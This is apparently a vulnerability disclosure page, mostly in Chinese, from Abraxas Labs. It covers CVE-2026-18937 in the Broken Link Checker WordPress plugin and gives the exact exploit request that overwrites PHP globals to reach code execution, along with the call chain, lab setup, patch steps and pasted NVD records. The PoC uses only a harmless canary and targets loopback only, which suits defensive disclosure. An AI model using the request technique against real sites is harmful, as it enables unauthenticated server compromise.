abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  CVE-2026-18937

CVE-2026-18937

Broken Link Checker 2.4.11 — 未知

Broken Link Checker WordPress 插件在 2.4.12 之前的版本中，在使用普通固定链接（plain permalinks）的站点上未限制其从用户输入接受的查询变量，允许未认证用户覆盖任意 PHP 全局变量，并在经典（非区块）主题处于活动状态时在服务器上执行任意代码。

公告（来自 source map）

查询变量注入是 Webhook::parse_request 合并 $_GET，而非 ajax action=。HTTP 为 GET / 并附带额外查询键。

入口

• 方法： GET
• 路径： /?page_id=4&shortcode_tags[blcpoc]=poc_witness_18937
• 路由： 普通固定链接。Webhook::parse_request 将 sanitize_array($_GET) 合并到 $wp->query_vars。WP::register_globals 将这些键复制到 $GLOBALS，替换 $shortcode_tags。首页 the_content('[blcpoc]') 随后调用 call_user_func(poc_witness_18937)。无法使用侧边栏小工具：wp_get_sidebars_widgets() 在前台会从 options 重新加载。实验环境金丝雀，非 shell。
• 备注： CVE-2026-18937 CWE-94：Broken Link Checker 2.4.11。2.4.12 移除了 $_GET 合并。需要空的 permalink_structure 以及调用 dynamic_sidebar 的经典主题。见证字符串为 HTTP 正文中的 POCWitness18937。

调用链

• GET /?page_id=<front page id>&shortcode_tags[blcpoc]=poc_witness_18937
• Webhook::parse_request (plain permalinks) → $wp->query_vars += $_GET
• WP::register_globals → $GLOBALS['shortcode_tags']['blcpoc']=poc_witness_18937
• the_content('[blcpoc]') → poc_witness_18937() → POCWitness18937

实验环境前置条件

• Broken Link Checker 2.4.11 已启用
• permalink_structure 为空（普通固定链接）
• 经典主题 Twenty Twenty-One（sidebar-1 / dynamic_sidebar）
• mu-plugin 函数 poc_witness_18937（实验环境金丝雀，非 gadget chain）

见证

HTTP 正文包含 POCWitness18937。不含该字符串的通用首页 HTML 不算。

非成功

• 通用 200 hello world / 区块主题首页 HTML
• 美化固定链接（跳过合并）
• 无见证的 403/404
• 反弹 shell 或出站连接
• system()/exec() PHP payload

补丁 / 修复

首先执行： 将 Broken Link Checker 更新至 2.4.12 或更高版本。

升级后验证

• 针对已修补版本重新运行 CVE-2026-18937-Abraxas-Labs.py：映射的见证不得出现。
• 确认部署目录树中的供应商公告 / changeset（见参考资料）。
• WAF 签名是延迟，不是补丁。

若无法立即更新

• 禁用或隔离受影响组件。
• 在生产环境中搜寻见证条件（新增特权用户、意外文件、注入行——即此 CVE 的 map 所指明的任何内容）。

复现（授权实验环境）

仅针对 http://127.0.0.1:8088（或你绑定的回环地址）。请勿将此脚本指向互联网。

python3 CVE-2026-18937-Abraxas-Labs.py

成功即响应正文中出现上述见证。通用 200 HTML 不算。

实验环境镜像

用于复现的回环栈。除非此文件夹中的 Dockerfile 从源码构建，否则使用官方镜像。

• lab/docker-compose.yml
• lab/docker-compose.override.yml
• lab/Dockerfile

cd lab
docker compose up --force-recreate

如果 YAML 挂载本地目录（来自版本表的插件 zip / 源码 tag），请将存在漏洞的产品目录树绑定到 Compose 旁边。除 127.0.0.1 外不发布任何内容。

参考资料

• CVE-2026-18937 · NVD

• CVE-2026-18937 · CVE.org

• wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/

• github.com/advisories/GHSA-c2xc-88v3-37g2

• nvd.nist.gov/vuln/detail/CVE-2026-18937

• wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d

• 插件目录：broken-link-checker

• Trac 浏览器：plugins.trac.wordpress.org/broken-link-checker

• SVN tags：plugins.svn.wordpress.org/broken-link-checker

• Abraxas Labs：abraxaslabs.tech · github.com/abraxas · @abraxas_null

记录（结构化）

# CVE-2026-18937  (structured records)

- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-18937`
- CWE: CWE-94
- published: 2026-08-19T06:17:38.847

## NVD description

The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables, and to execute arbitrary code on the server when a classic (non-block)  is active.

## MITRE description

The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables, and to execute arbitrary code on the server when a classic (non-block)  is active.

## Affected

- Unknown Broken Link Checker 0 affected

## References (JSON sources only)

- https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
- https://github.com/advisories/GHSA-c2xc-88v3-37g2
- https://nvd.nist.gov/vuln/detail/CVE-2026-18937
- https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d

## GitHub advisory

The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it...

The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables, and to execute arbitrary code on the server when a classic (non-block)  is active.

许可证

本披露包依据 GNU Affero General Public License v3.0 许可。见 LICENSE。

免责声明

本包面向供应商、站点所有者及授权实验环境。该脚本仅与 127.0.0.1 通信。将其用于你并不拥有的系统未获 Abraxas Labs 授权。不提供任何担保。

abraxaslabs.tech · github.com/abraxas · @abraxas_null